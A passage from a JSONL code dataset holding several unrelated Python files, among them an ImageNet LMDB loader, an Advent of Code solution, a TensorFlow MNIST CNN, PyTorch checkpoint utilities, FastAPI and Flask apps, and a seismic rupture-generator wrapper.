import Image\nimport cv2\n\nclass ImagenetLMDBDataset(torch.utils.data.Dataset):\n \"\"\"Car dataset.\"\"\"\n def __init__(self, root_dir, transform, db_name=['data', 'label']):\n super(ImagenetLMDBDataset, self).__init__()\n\n self.transform = transform\n\n self.env = lmdb.open(root_dir, max_dbs=4, map_size=1e12)\n\n self.data_db = self.env.open_db(db_name[0].encode())\n self.label_db = self.env.open_db(db_name[1].encode())\n\n self.txn = self.env.begin(write=False)\n self.num_data = self.txn.stat(db=self.data_db)['entries']\n\n print(\"ImageNet LMDB created with {} entries\".format(self.num_data))\n\n def __len__(self):\n return self.num_data\n\n def __getitem__(self, idx):\n # Read image, jpeg lmdb version\n img = np.fromstring(self.txn.get(str(idx).encode(), db=self.data_db), dtype=np.uint8)\n img = cv2.imdecode(img, cv2.IMREAD_COLOR)[:,:,[2,1,0]] # BGR to RGB\n\n label = self.txn.get(str(idx).encode(), db=self.label_db)\n \n img = Image.fromarray(img)\n label = int(np.frombuffer(label, 'int32')[0])\n\n if self.transform is not None:\n img = self.transform(img)\n\n return img, label","repo_name":"jakc4103/scale-adjusted-training","sub_path":"dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":1261,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"48"} +{"seq_id":"18598201250","text":"from utils import read_in_file, print_output, draw_grid, NTuple\n\nDIRECTIONS = [\n NTuple((-1, 0, 0)),\n NTuple((1, 0, 0)),\n NTuple((0, -1, 0)),\n NTuple((0, 1, 0)),\n NTuple((0, 0, -1)),\n NTuple((0, 0, 1))\n]\n\nclass LavaCube(NTuple):\n def __init__(self, args, data_type=None):\n super().__init__(args, data_type=data_type)\n\n @property\n def neighbours(self):\n return [self + direction for direction in DIRECTIONS]\n\nclass LavaDroplet:\n def __init__(self, cubes):\n self.cubes = [LavaCube(cube.split(\",\"), data_type=int) for cube in cubes]\n self.max = LavaCube((\n max(cube.x for cube in self.cubes),\n max(cube.y for cube in self.cubes),\n max(cube.z for cube in self.cubes)\n ))\n self.min = LavaCube((\n min(cube.x for cube in self.cubes),\n min(cube.y for cube in self.cubes),\n min(cube.z for cube in self.cubes)\n ))\n\n def count_neighbours(self, cube: LavaCube):\n num = 0\n for adj_location in cube.neighbours:\n if adj_location in self.cubes:\n num += 1\n return num\n\n def calc_surface_area(self):\n total_sa = 0\n for cube in self.cubes:\n total_sa += 6 - self.count_neighbours(cube)\n return total_sa\n\n def calc_external_sa(self):\n total_sa = 0\n for cube in self.cubes:\n if self.cube_on_edge(cube):\n total_sa += 6 - self.count_neighbours(cube)\n return total_sa\n\n def cube_on_edge(self, cube):\n if cube.x >= self.max.x or cube.x <= self.min.x or cube.y >= self.max.y or cube.y <= self.min.y or cube.z >= self.max.z or cube.z <= self.min.z:\n return True\n return False\n\n\ndef part_1(file_path):\n lines = read_in_file(file_path)\n drop = LavaDroplet(lines)\n return drop.calc_surface_area()\n\n\ndef part_2(file_path):\n lines = read_in_file(file_path)\n drop = LavaDroplet(lines)\n return drop.calc_external_sa()\n\n\nif __name__ == \"__main__\":\n print(part_2(\"example.txt\"))\n # print_output(part_1, part_2)\n\n","repo_name":"retlasnayr/advent-of-code-2022","sub_path":"day_18/puzzle.py","file_name":"puzzle.py","file_ext":"py","file_size_in_byte":2107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4778697330","text":"import os\nfrom shutil import copyfile\nimport traceback\nimport logger\n'''=================================================\n@Author : JunBin Yuan\n@Date :2020/03/06\n@Version :0.1\n@Desc :主要用于找出A模型里面识别失败的内容,是否在B模型中识别成功。\n=================================================='''\n\nclass image_info:\n def __init__(self, file_path, file_name, origin_file_name, score, img_type, file_name_no_score=None):\n self.file_path = file_path\n self.file_name = file_name\n self.origin_file_name = origin_file_name\n # self.file_name_no_score = file_name_no_score\n self.score = score\n # self.key = key_name\n self.type = img_type\n\n def __str__(self):\n image_map = {}\n image_map['file_path'] = self.file_path\n image_map['file_name'] = self.file_name\n image_map['origin_file_name'] = self.origin_file_name\n image_map['score'] = self.score\n return image_map\n\n\n\ndef get_image_info_map(model_result_file_list, image_path_prex):\n model_map = {}\n for file_name in model_result_file_list:\n file_name = file_name\n tmp_file_names = file_name.split(\"_\")\n # 去掉分数\n tmp = file_name.replace(tmp_file_names[0] + \"_\", '')\n # 去掉最后标号\n tmp = tmp.replace(\"_\" + tmp_file_names[-1], '')\n # # 去掉前后两条下划线\n # tmp = tmp[1:-1]\n # 获取图片类型 gt result\n img_type = tmp_file_names[-2]\n # 处理image 没有写上Image\n if img_type != 'gt' and img_type != 'result' and img_type != 'image':\n img_type = 'a'\n else:\n # 有image 需要去gt 或者result 可以兼容后期有image\n tmp = tmp.replace(\"_\" + tmp_file_names[-2], '')\n origin_file_name = tmp\n score = tmp_file_names[0]\n if score == 'nan':\n # print(\"image no score \",image_path_prex,\" \",file_name)\n score = 0.00\n model_map[origin_file_name] = image_info(image_path_prex + file_name, file_name, origin_file_name, score,\n img_type)\n return model_map\n\n\n\nif __name__ == '__main__':\n logger = logger.setup_logger(\"compare_error\", \"log/\", 0)\n image_max_score = 0.5\n is_only_origin = True\n compare_result_path_prex = r\"/home/ihavc01/sod/compare_scrn_origin_assp1/fm/\"\n\n\n # 比较 SRCN 与 lzy-srcn\n model_1_result_path = r\"/home/ihavc01/sod/SCRN-ASSP/result_new/scrn_res/DUTS-TR/DUTS-TE__score_sort/fm/\"\n model_2_result_path = r\"/home/ihavc01/LZY/EGNet-master/EGNet-master/EGNet-master/result_new/EGNet/DUTS-TE__score_sort/fm/\"\n model_3_result_path = r\"/home/ihavc01/sod/SCRN-master/result_new/scrn_res/DUTS-TR/DUTS-TE__score_sort/fm/\"\n mode1_abbreviated = \"SCRN-ASPP\"\n mode2_abbreviated = \"EGNet\"\n mode3_abbreviated = \"SCRN\"\n\n compare_result_path_best = compare_result_path_prex + mode2_abbreviated + \"-best-\" + mode1_abbreviated + \"-\"+mode3_abbreviated+\"/\"\n\n\n if not os.path.exists(compare_result_path_best):\n os.makedirs(compare_result_path_best)\n\n\n m1_image_file_path_list = [x for x in os.listdir(model_1_result_path) if x.find(\"_0.\") != -1]\n\n m1_gt_file_path_list = [x for x in os.listdir(model_1_result_path) if x.find(\"gt\") != -1 and x.find(\"_1\") != -1]\n\n m1_result_file_path_list = [x for x in os.listdir(model_1_result_path) if\n x.find(\"result\") != -1 and x.find(\"_2\") != -1]\n m2_result_file_path_list = [x for x in os.listdir(model_2_result_path) if\n x.find(\"result\") != -1 and x.find(\"_2\") != -1]\n m3_result_file_path_list = [x for x in os.listdir(model_3_result_path) if\n x.find(\"result\") != -1 and x.find(\"_2\") != -1]\n\n model_1_map = get_image_info_map(m1_result_file_path_list, model_1_result_path)\n model_2_map = get_image_info_map(m2_result_file_path_list, model_2_result_path)\n model_3_map = get_image_info_map(m3_result_file_path_list, model_3_result_path)\n\n image_map = get_image_info_map(m1_image_file_path_list, model_1_result_path)\n gt_map = get_image_info_map(m1_gt_file_path_list, model_1_result_path)\n\n i = 0\n key_list = list(model_1_map.keys())\n length = len(key_list)\n compare_result_path = compare_result_path_best\n num = 0\n print(\"模型比较开始!\")\n for i in range(0, length):\n if i > 10:\n print(\"运行限制,提前结束\")\n break;\n key = key_list[i]\n image1 = model_1_map[key]\n try:\n image2 = model_2_map[key]\n image3 = model_3_map[key]\n img = image_map[key]\n gt = gt_map[key]\n except KeyError as e:\n logger.error(\"KeyError \", e)\n exstr = traceback.format_exc()\n logger.error(exstr)\n continue\n image1_score = float(image1.score)\n image2_score = float(image2.score)\n image3_score = float(image3.score)\n\n different_value = image1_score - image2_score\n\n different_value = '%.2f' % different_value\n new_file_name_prex = str(different_value) + \"_\"\n\n\n # if image1_score<= image_max_score and image2_score<= image_max_score and image3_score<= image_max_score:\n # num+=1\n # 由于图片得分不相等,所以分数只能放在后面,不然会导致相同图片无法相邻 window系统文件名排序是按照从前到后字符ascii值大小来排序\n new_img_file_name = new_file_name_prex + img.origin_file_name + \"_\" + \"a\" + \"_1_\" + str(img.score) + \".jpg\"\n new_img_file_path = compare_result_path + new_img_file_name\n\n new_gt_file_name = new_file_name_prex + gt.origin_file_name + \"_\" + gt.type + \"_2_\" + str(gt.score) + \".png\"\n new_gt_file_path = compare_result_path + new_gt_file_name\n # 由于图片得分不相等,所以 两个模型的生成结果是可以需要进行区分的 即不用加入后缀 3 4\n new_file_1_name = new_file_name_prex + image1.origin_file_name + \"_\" + image1.type + \"_3_\" + str(image1.score) +\"_\"+ mode1_abbreviated + \".png\"\n new_file_1_path = compare_result_path + new_file_1_name\n\n new_file_2_name = new_file_name_prex + image2.origin_file_name + \"_\" + image2.type + \"_4_\" + str(image2.score) +\"_\"+ mode2_abbreviated+ \".png\"\n new_file_2_path = compare_result_path + new_file_2_name\n\n new_file_3_name = new_file_name_prex + image3.origin_file_name + \"_\" + image3.type + \"_5_\" + str(image3.score) +\"_\"+ mode3_abbreviated + \".png\"\n new_file_3_path = compare_result_path + new_file_3_name\n\n\n copyfile(image1.file_path, new_file_1_path)\n copyfile(image2.file_path, new_file_2_path)\n copyfile(image3.file_path, new_file_3_path)\n copyfile(img.file_path, new_img_file_path)\n copyfile(gt.file_path, new_gt_file_path)\n\n print(\"寻找3个模型 \",mode1_abbreviated,mode2_abbreviated,mode3_abbreviated,\" 识别都失败,分数低于或等于 \",image_max_score,\" 的图片数量有 \",num)\n print(\"模型1是 \",model_1_result_path,\" 模型2是 \",model_2_result_path,\" 模型3是 \",model_3_result_path)\n print(\"比较结果存放路径是 \" + compare_result_path_best)\n print(\"Congratualtion!! Compare finished!!!\")\n\n","repo_name":"binbincz/deep-learning-utils","sub_path":"compare_3_models_results.py","file_name":"compare_3_models_results.py","file_ext":"py","file_size_in_byte":7341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"32819666276","text":"\"\"\"Tasks: Add workload and required field.\n\nRevision ID: 50b790a6eef8\nRevises: 316cb332029a\nCreate Date: 2014-10-21 15:08:21.064818\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '50b790a6eef8'\ndown_revision = '316cb332029a'\n\nfrom alembic import op\nimport sqlalchemy as sa\n\n\ndef upgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.add_column('tasks', sa.Column('required', sa.Boolean(),\n server_default='1'))\n op.add_column('tasks', sa.Column('workload', sa.Integer(),\n server_default='0'))\n ### end Alembic commands ###\n\n\ndef downgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('tasks', 'workload')\n op.drop_column('tasks', 'required')\n ### end Alembic commands ###\n","repo_name":"zetongli/ladymarry-flask","sub_path":"alembic/versions/50b790a6eef8_tasks_add_workload_and_required_field.py","file_name":"50b790a6eef8_tasks_add_workload_and_required_field.py","file_ext":"py","file_size_in_byte":836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4730164346","text":"# !/usr/bin/python\n# coding:utf-8\nimport socket;\nimport os\ndef getLocalIp():\n hostname = socket.gethostname();\n ip=socket.gethostbyname(socket.gethostname());\n print(\"hostname=%d\",hostname);\n print(\"ip=%d\",ip);\n s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n s.connect((\"8.8.8.8\", 80))\n localIp=s.getsockname()[0]\n print(s.getsockname()[0])\n s.close()\n return localIp\nip = getLocalIp()\nip=ip.replace(\".\",\" 點 \")\ncmd = 'espeak -s 100 -vzh+f5 \" {}\" '.format(ip) \nos.system('espeak -s 150 -v+f5 \" i p is \"')\nos.system(cmd)\n","repo_name":"lejiteyu/pythonLedOpen","sub_path":"GetAddressIP.py","file_name":"GetAddressIP.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"39614425977","text":"import uuid\nimport folio\n\n\ndef create_instance_request(patron_id, instance_id, pickup_location_id):\n print('Creating an instance request (mod-patron, EDS-style)...')\n request = folio.post('patron/account/%s/instance/%s/hold' % (patron_id, instance_id), {\n 'requestDate': '2022-08-25T17:47:52.041Z',\n 'pickupLocationId': pickup_location_id\n })\n if request.status_code == 201:\n requestId = request.json()['requestId']\n print(\"Succeeded to create an instance request. ID: %s\" % requestId)\n return request.json()\n else:\n print('Failed to create an instance request')\n print(request.text)\n\n\ndef cancel_instance_request(request, user):\n print('Cancelling instance request (mod-patron, EDS-style)...')\n cancel_request_body = {\n 'holdId': request['requestId'],\n 'cancellationReasonId': '4ca6a58e-f8ed-4f7a-89ee-7a3e0f20a659',\n 'canceledByUserId': user['id'],\n 'cancellationAdditionalInformation': 'Info',\n 'pickupLocationId': request['pickupLocationId'],\n \"canceledDate\": \"2022-09-22T10:16:30Z\",\n 'requestDate': request['requestDate']}\n print('Cancelling request. Body: %s' % cancel_request_body)\n cancelled_request = folio.post('patron/account/%s/hold/%s/cancel' % (user['id'], request['requestId']),\n cancel_request_body)\n if cancelled_request.status_code == 200:\n requestId = cancelled_request.json()['requestId']\n print(\"Succeeded to cancel an instance request. ID: %s\" % requestId)\n return cancelled_request.json()\n else:\n print('Failed to cancel an instance request')\n print(cancelled_request)\n","repo_name":"alexanderkurash/folio-client","sub_path":"patron.py","file_name":"patron.py","file_ext":"py","file_size_in_byte":1692,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37622749978","text":"import os.path as osp\nfrom collections import OrderedDict\nimport re\n\nimport torch\nimport torch.nn as nn\n\nfrom . import mkdir\n\nCKPT_MODEL_KEY = 'model'\nCKPT_MODEL_KEY2 = 'state_dict'\nCKPT_OPTIMIZER_KEY = 'optimizer'\nCKPT_META_KEY = 'meta'\n\n\ndef load_checkpoint(ckpt_path, map_location=None):\n if not osp.isfile(ckpt_path):\n raise IOError(f\"'{ckpt_path}' is not a checkpoint file\")\n ckpt = torch.load(ckpt_path, map_location=map_location)\n return ckpt\n\n\ndef load_model_state_dict(model,\n state_dict,\n revise_keys=[(r'^module\\.', '')],\n src_prefix=None,\n dst_prefix=None,\n strict=False):\n metadata = getattr(state_dict, '_metadata', OrderedDict())\n\n for p, r in revise_keys:\n state_dict = OrderedDict([(re.sub(p, r, k), v) for k, v in state_dict.items()])\n\n if src_prefix:\n if not src_prefix.endswith('.'):\n src_prefix += '.'\n src_prefix_len = len(src_prefix)\n state_dict = OrderedDict([(k[src_prefix_len:], v) for k, v in state_dict.items() if k.startswith(src_prefix)])\n assert state_dict, f\"{src_prefix} is not in the pretrained model\"\n\n state_dict._metadata = metadata\n\n if hasattr(model, 'module'):\n model = model.module\n if dst_prefix:\n dst_prefix = dst_prefix.split('.')\n while len(dst_prefix) > 0:\n assert hasattr(model, dst_prefix[0])\n model = getattr(model, dst_prefix[0])\n dst_prefix = dst_prefix[1:]\n\n if hasattr(model, 'revise_state_dict'):\n state_dict = model.revise_state_dict(state_dict)\n\n try:\n model.load_state_dict(state_dict, strict=strict)\n except Exception as e:\n if hasattr(model, 'preprocess_loaded_state_dict') and callable(model.preprocess_loaded_state_dict):\n model.load_state_dict(model.preprocess_loaded_state_dict(model, state_dict), strict=strict)\n else:\n raise e\n\n\ndef load_model(ckpt,\n map_location=None,\n revise_keys=[(r'^module\\.', '')],\n src_prefix=None,\n dst_prefix=None,\n model=None,\n strict=False):\n ckpt = load_checkpoint(ckpt, map_location=map_location) if isinstance(ckpt, str) else ckpt\n assert isinstance(ckpt, dict), f\"Loaded checkpoint should be a dict but got {type(ckpt)}\"\n\n if CKPT_MODEL_KEY in ckpt:\n state_dict = ckpt[CKPT_MODEL_KEY]\n elif CKPT_MODEL_KEY2 in ckpt:\n state_dict = ckpt[CKPT_MODEL_KEY2]\n else:\n state_dict = ckpt\n\n if isinstance(state_dict, dict):\n if model:\n load_model_state_dict(model, state_dict, revise_keys, src_prefix, dst_prefix, strict)\n elif isinstance(state_dict, nn.Module):\n model = state_dict\n return model\n\n\ndef save_checkpoint(model, ckpt_path, optimizer=None, meta=None):\n def _filter_out(k, v):\n if not isinstance(v, nn.parameter.Parameter) and k.startswith('_'):\n print(f\"Tensor {k} is filtered out during model saving\")\n return True\n return False\n\n if hasattr(model, 'module'):\n model = model.module\n state_dict = model.state_dict()\n metadata = getattr(state_dict, '_metadata', OrderedDict())\n state_dict = OrderedDict([(k, v.cpu()) for k, v in state_dict.items() if not _filter_out(k, v)])\n state_dict._metadata = metadata\n ckpt = {CKPT_MODEL_KEY: state_dict}\n\n if optimizer:\n ckpt[CKPT_OPTIMIZER_KEY] = optimizer.state_dict()\n\n if meta:\n ckpt[CKPT_META_KEY] = meta\n\n mkdir(osp.dirname(ckpt_path), exist_ok=True)\n torch.save(ckpt, ckpt_path)\n","repo_name":"netpaladinx/myzonelab","sub_path":"myzonecv/core/utils/checkpoint.py","file_name":"checkpoint.py","file_ext":"py","file_size_in_byte":3687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"32660703349","text":"def solution(s):\n # 해당 문자열을 공백 기준으로 나눈다\n arr = s.split(\" \")\n new_s = []\n for w in arr : # 새로운 new_s에 공백기준으로 나눈 값들을 집어넣는다(다른 공백문자들까지 전부 포함)\n new_s.append(list(w))\n # print(new_s)\n\n for i in range(len(new_s)) :\n if new_s[i] == [] : # 별개의 공백에 대한것은 취급하지 않음\n continue\n if '0' <= new_s[i][0] <= '9' : # 첫 문장이 숫자로 시작하면 아무것도 하지 않음\n None\n else :\n if 'a' <= new_s[i][0] <= 'z' : # 첫 문장이 소문자로 시작하면 대문자로 바꿈\n new_s[i][0] = chr(ord(new_s[i][0]) - 32)\n\n for j in range(1, len(new_s[i])) : # 해당 단어의 두번째 철자부터 마지막 철자까지 검사해서, 대문자인 것들을 소문자로 바꿈\n if 'A' <= new_s[i][j] <= 'Z' :\n new_s[i][j] = chr(ord(new_s[i][j]) + 32)\n \n # print(new_s)\n answer = ''\n for i in range(len(new_s)) :\n # 마지막 번째 문자열에 대해서는 answer에 포함후 따로 공백을 추가로 표기하지 않음\n if i == len(new_s)-1 :\n answer += ''.join(new_s[i])\n # 해당 문자열이 단순한 단어라면, answer에 포함후에 공백까지 포함한다\n elif new_s[i] != ' ':\n answer += (''.join(new_s[i]) + ' ')\n # 단순한 공백문자라면 answer에 추가한다\n else :\n answer += ' '\n\n print(answer)\n return answer\n\n\ns = \" 3people unFollowed me \"\n# s = \"AaaBaa 3People\"\n# s = \"hEllo 1woRld\"\nsolution(s)","repo_name":"KimHyungkeun/Algorithm","sub_path":"Programmers/Python/2021/모든문제/JadenCase문자열_연습문제.py","file_name":"JadenCase문자열_연습문제.py","file_ext":"py","file_size_in_byte":1672,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"14933775575","text":"'''Question 6\nLevel 2\n\nQuestion:\nWrite a program that calculates and prints the value according to the given formula:\nQ = Square root of [(2 * C * D)/H]\nFollowing are the fixed values of C and H:\nC is 50. H is 30.\nD is the variable whose values should be input to your program in a comma-separated sequence.\nExample\nLet us assume the following comma separated input sequence is given to the program:\n100,150,180\nThe output of the program should be:\n18,22,24'''\n\n\nfrom math import sqrt\n\ndef calcula(valorD):\n\n listaResultado = []\n H = 30\n C = 50\n\n for item in valorD:\n D = int(item)\n listaResultado.append(str(int(sqrt((2*C*D)/H))))\n\n return listaResultado\n\n\nvalor = input(\"Digite o valor: \")\n\nlista = valor.split(\",\")\nresultado = calcula(lista)\n\nprint(','.join(resultado))","repo_name":"caiolucasw/pythonsolutions","sub_path":"exercicio6.py","file_name":"exercicio6.py","file_ext":"py","file_size_in_byte":801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"29414675113","text":"import tensorflow as tf\n# Import MNIST data\nfrom tensorflow.examples.tutorials.mnist import input_data\n\nmnist = input_data.read_data_sets(\"MNIST_data/\", one_hot=True)\n# Parameters\nlearning_rate = 0.001\ntraining_iters = 500\nbatch_size = 128\ndisplay_step = 10\n# Network Parameters\nn_input = 784\n# MNIST data input (img shape: 28*28)\n\nn_classes = 10\n# MNIST total classes (0-9 digits)\ndropout = 0.85\n# Dropout, probability to keep units\n\nx = tf.placeholder(tf.float32, [None, n_input])\ny = tf.placeholder(tf.float32, [None, n_classes])\nkeep_prob = tf.placeholder(tf.float32)\n\n\ndef conv2d(x, W, b, strides=1):\n x = tf.nn.conv2d(x, W, strides=[1, strides, strides, 1], padding='SAME')\n x = tf.nn.bias_add(x, b)\n return tf.nn.relu(x)\n\n\ndef maxpool2d(x, k=2):\n return tf.nn.max_pool(x, ksize=[1, k, k, 1], strides=[1, k, k, 1], padding='SAME')\n\n\ndef conv_net(x, weights, biases, dropout):\n # reshape the input picture\n x = tf.reshape(x, shape=[-1, 28, 28, 1])\n # First convolution layer\n conv1 = conv2d(x, weights['wc1'], biases['bc1'])\n # Max Pooling used for downsampling\n conv1 = maxpool2d(conv1, k=2)\n # Second convolution layer\n conv2 = conv2d(conv1, weights['wc2'], biases['bc2'])\n # Max Pooling used for downsampling\n conv2 = maxpool2d(conv2, k=2)\n # Reshape conv2 output to match the input of fully connected layer\n fc1 = tf.reshape(conv2, [-1, weights['wd1'].get_shape().as_list()[0]])\n # Fully connected layer\n fc1 = tf.add(tf.matmul(fc1, weights['wd1']), biases['bd1'])\n fc1 = tf.nn.relu(fc1)\n # Dropout\n fc1 = tf.nn.dropout(fc1, dropout)\n # Output the class prediction\n out = tf.add(tf.matmul(fc1, weights['out']), biases['out'])\n return out\n\n\nweights = {\n # 5x5 conv, 1 input, and 32 outputs\n 'wc1': tf.Variable(tf.random_normal([5, 5, 1, 32])),\n # 5x5 conv, 32 inputs, and 64 outputs\n 'wc2': tf.Variable(tf.random_normal([5, 5, 32, 64])),\n # fully connected, 7*7*64 inputs, and 1024 outputs\n 'wd1': tf.Variable(tf.random_normal([7 * 7 * 64, 1024])),\n # 1024 inputs, 10 outputs for class digits\n 'out': tf.Variable(tf.random_normal([1024, n_classes]))\n}\nbiases = {\n 'bc1': tf.Variable(tf.random_normal([32])),\n 'bc2': tf.Variable(tf.random_normal([64])),\n 'bd1': tf.Variable(tf.random_normal([1024])),\n 'out': tf.Variable(tf.random_normal([n_classes]))\n}\n\npred = conv_net(x, weights, biases, keep_prob)\ncost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(logits=pred, labels=y))\noptimizer = tf.train.AdamOptimizer(learning_rate=learning_rate).minimize(cost)\ncorrect_prediction = tf.equal(tf.argmax(pred, 1), tf.argmax(y, 1))\naccuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\ninit = tf.global_variables_initializer()\n\ntrain_loss = []\ntrain_acc = []\ntest_acc = []\nsess = tf.Session()\nstep = 1\nwhile step <= training_iters:\n batch_x, batch_y = mnist.train.next_batch(batch_size)\n sess.run(optimizer, feed_dict={x: batch_x, y: batch_y,\n keep_prob: dropout})\n if step % display_step == 0:\n loss_train, acc_train = sess.run([cost, accuracy],\n feed_dict={x: batch_x,\n y: batch_y, keep_prob: 1.})\n print(\"Iter \" + str(step) + \", Minibatch Loss= \" + \\\n \"{:.2f}\".format(loss_train) + \", Training Accuracy= \" + \\\n \"{:.2f}\".format(acc_train))\n # Calculate accuracy for 2048 mnist test images.\n # Note that in this case no dropout\n acc_test = sess.run(accuracy,\n feed_dict={x: mnist.test.images,\n y: mnist.test.labels,\n keep_prob: 1.})\n print(\"Testing Accuracy:\" + \\\n \"{:.2f}\".format(acc_train))\n train_loss.append(loss_train)\n train_acc.append(acc_train)\n test_acc.append(acc_test)\n step += 1\n","repo_name":"mayanks888/AI","sub_path":"Deep learning/TensorFlow/ten_8_book _mnist.py","file_name":"ten_8_book _mnist.py","file_ext":"py","file_size_in_byte":3964,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"31558841687","text":"from imswitch import imcontrol\nfrom imswitch.imcommon import prepareApp\nfrom imswitch.imcommon.controller import ModuleCommunicationChannel\n\napp = None\n\n\ndef getApp():\n global app\n if app is None:\n app = prepareApp()\n return app\n\n\ndef prepareUI(options, setupInfo):\n moduleCommChannel = ModuleCommunicationChannel()\n moduleCommChannel.register(imcontrol)\n mainView, _ = imcontrol.getMainViewAndController(moduleCommChannel,\n overrideSetupInfo=setupInfo,\n overrideOptions=options)\n return mainView\n\n\n# Copyright (C) 2020-2021 ImSwitch developers\n# This file is part of ImSwitch.\n#\n# ImSwitch is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# ImSwitch is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see .\n","repo_name":"ImSwitch/ImSwitch","sub_path":"imswitch/imcontrol/_test/ui/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1339,"program_lang":"python","lang":"en","doc_type":"code","stars":58,"dataset":"github-code","pt":"48"} +{"seq_id":"19142598073","text":"from fastapi import FastAPI\nfrom strawberry.asgi import GraphQL\nimport strawberry\nfrom fastapi.middleware.cors import CORSMiddleware\nfrom typing import List\nimport models.ready_model as ready_model\n\n\napp = FastAPI()\n\norigins = [\"*\"]\n\napp.add_middleware(\n CORSMiddleware,\n allow_origins=origins,\n allow_credentials=True,\n allow_methods=[\"*\"],\n allow_headers=[\"*\"],\n)\n\n@strawberry.type\nclass Question:\n id: str\n answer: str\n score: int\n \nquestions: List[Question] = [\n \n]\n\n@strawberry.type\nclass Query:\n @strawberry.field\n def questions(self) -> List[Question]:\n return questions\n \n@strawberry.type\nclass Mutation:\n @strawberry.mutation\n def create_question(self, id: str, answer: str) -> List[Question]:\n if(id==\"1\"):\n questions.clear() \n score=ready_model.predict(answer, id)\n questions.append(Question(id=id, answer=answer, score=score))\n return questions\n \nschema = strawberry.Schema(query=Query, mutation=Mutation)\n\ngraphql_app = GraphQL(schema)\napp.add_route(\"/graphql\", graphql_app)\napp.add_websocket_route(\"/graphql\", graphql_app)","repo_name":"Nafia-AKDI/-Arabic-Automated-short-answers-grading-system-for-moroccan-history","sub_path":"fastApi/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1131,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"38001846298","text":"from flask import Blueprint, render_template, flash\nfrom flask_user import roles_required\n\nfrom website.redis_db.utils.fill_db import fill_db as fill\nfrom website.redis_db.utils.flush_db import flush_db as flush\n\n# Admin blueprint\nadmin = Blueprint('admin', __name__)\n\n\n@admin.route('/fill_db', methods=['POST'])\n@roles_required(['admin'])\ndef fill_db():\n try:\n # Fill database\n fill()\n flash('Successfully filled DB', 'bg-light-green')\n return render_template('index.html')\n\n except Exception as e:\n print(e)\n # Exception -> show message\n flash('Error, the db could not be filled', 'bg-error')\n return render_template('index.html')\n\n\n@admin.route('/flush_db', methods=['POST'])\n@roles_required(['admin'])\ndef flush_db():\n try:\n # Flush database\n flush()\n flash('Successfully flushed DB', 'bg-light-green')\n return render_template('index.html')\n\n except Exception as e:\n print(e)\n # Exception -> show message\n flash('Error, the db could not be flushed', 'bg-error')\n return render_template('index.html')","repo_name":"JoserraLP/plane-seat-booking-website","sub_path":"website/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1127,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"11701070844","text":"from __future__ import division, print_function\n\n# Import Python modules\nimport os\nimport sys\nimport shutil\n\n# Import Broadband modules\nimport bband_utils\nimport uc_fault_utils\nfrom install_cfg import InstallCfg\nfrom ucrmg_cfg import UCrmgCfg\n\nclass UCrmg(object):\n \"\"\"\n Implement UC rupture Model Generator as a Broadband component\n \"\"\"\n\n def __init__(self, i_r_velmodel, i_r_srcfile,\n o_r_srffile, i_vmodel_name, sim_id=0):\n self.sim_id = sim_id\n self.r_velmodel = i_r_velmodel\n self.r_srcfile = i_r_srcfile\n self.r_srffile = o_r_srffile\n self.vmodel_name = i_vmodel_name\n\n def run(self):\n \"\"\"\n Runs the UCSB rupture generator\n \"\"\"\n print(\"UCSB Rupture Generator\".center(80, '-'))\n\n #\n # installation directories\n #\n install = InstallCfg.getInstance()\n sim_id = self.sim_id\n\n a_tmpdir = os.path.join(install.A_TMP_DATA_DIR, str(sim_id))\n a_indir = os.path.join(install.A_IN_DATA_DIR, str(sim_id))\n a_outdir = os.path.join(install.A_OUT_DATA_DIR, str(sim_id))\n a_param_outdir = os.path.join(a_outdir, \"param_files\")\n logfile = os.path.join(install.A_OUT_LOG_DIR,\n str(sim_id),\n \"%d.ucrmg.log\" % (sim_id))\n #\n # Update the Configuration File\n #\n a_srcfile = os.path.join(a_indir, self.r_srcfile)\n\n cfg = UCrmgCfg(self.vmodel_name, a_srcfile)\n\n # Make sure the tmp and output directories exist\n bband_utils.mkdirs([a_tmpdir, a_outdir, a_param_outdir],\n print_cmd=False)\n\n # Save cwd; change back to it at the end\n old_cwd = os.getcwd()\n os.chdir(a_tmpdir)\n\n # define location of input velocity model file\n # a_velmodel = os.path.join(a_indir, self.r_velmodel)\n\n # Create ffsp.inp\n r_ffsp_inp = \"ffsp.inp\"\n a_ffsp_inp = os.path.join(a_tmpdir, r_ffsp_inp)\n uc_fault_utils.uc_create_ffsp_inp(a_ffsp_inp, a_srcfile,\n self.vmodel_name)\n\n # 